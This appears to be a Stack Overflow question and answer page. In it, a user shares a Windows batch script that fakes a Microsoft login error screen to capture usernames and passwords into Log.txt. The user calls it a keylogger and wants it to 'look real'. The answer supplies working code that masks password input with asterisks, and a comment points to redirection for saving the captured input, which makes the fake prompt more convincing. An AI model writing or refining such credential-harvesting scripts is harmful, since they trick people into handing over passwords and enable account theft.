0

I would like to make a keylogger and I want the password to look like its asterisk like in the log on:

@echo off
mode con: cols=10000 lines=300
color a
title Login
cls
echo LOGIN ERROR
ver
echo (c) 2017 Microsoft Corporation. All rights reserved.
echo.
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start open2.bat
exit

I expect it to look real I have tried searching but all I found is for the log on screen I want it for the desktop

just text no asterisks

Eugene Lisitsky
  • 12,113
  • 5
  • 38
  • 59

1 Answers1

0

I know this is a duplicate question here on StackOverFlow but I can't find it. I may have found this code on DosTips.com as well. When I find the original links I will update the question.

Essentially this is the code you are looking for to mask password input with asterisks.

@echo off &setlocal

:username
cls
SET "username="
SET /P "username=Enter your username:"
IF NOT DEFINED username GOTO username

:password
cls
<nul set /p "=Enter your password: "
call :HInput password
IF NOT DEFINED password GOTO password

setlocal EnableDelayedExpansion
echo user:%username% pass:!password!
pause
goto :eof


:HInput [ByRef_VarName]
:: inspired by Carlos
:: improved by pieh-ejdsch
if "%__HI__%" neq "__HI__" (
  setlocal DisableDelayedExpansion
  set "S=" &set "N=0" &set "__HI__=__HI__"
  for /f %%i in ('"prompt;$h&for %%i in (1) do rem"') do set "BS=%%i"
)
set "C="
for /f "eol=1 delims=" %%i in ('xcopy /lwq "%~f0" :\') do set "C=%%i"
set "C=%C:~-1%"
setlocal EnableDelayedExpansion
if not defined C (
  echo(
  if "%~1"=="" (
    echo(!S!
    endlocal &endlocal &exit /b %N%
  ) else (
    if defined S (
      for /f delims^=^ eol^= %%i in ("!S!") do endlocal &endlocal &set "%~1=%%i" &exit /b %N%
    ) else endlocal &endlocal &set "%~1=" &exit /b 0
  )
)
if "!BS!"=="!C!" (
  set "C="
  if defined S set /a "N -= 1" &set "S=!S:~,-1!" &<nul set /p "=%BS% %BS%"
) else set /a "N += 1" &<nul set /p "=*"
if not defined S (
  endlocal &set "N=%N%" &set "S=%C%"
) else for /f delims^=^ eol^= %%i in ("!S!") do endlocal &set "N=%N%" &set "S=%%i%C%"
goto HInput
Squashman
  • 13,649
  • 5
  • 27
  • 36
  • @hipoo, the same way you are doing it in your code example. With [redirection](http://www.robvanderwoude.com/redirection.php). – Squashman Dec 07 '17 at 22:46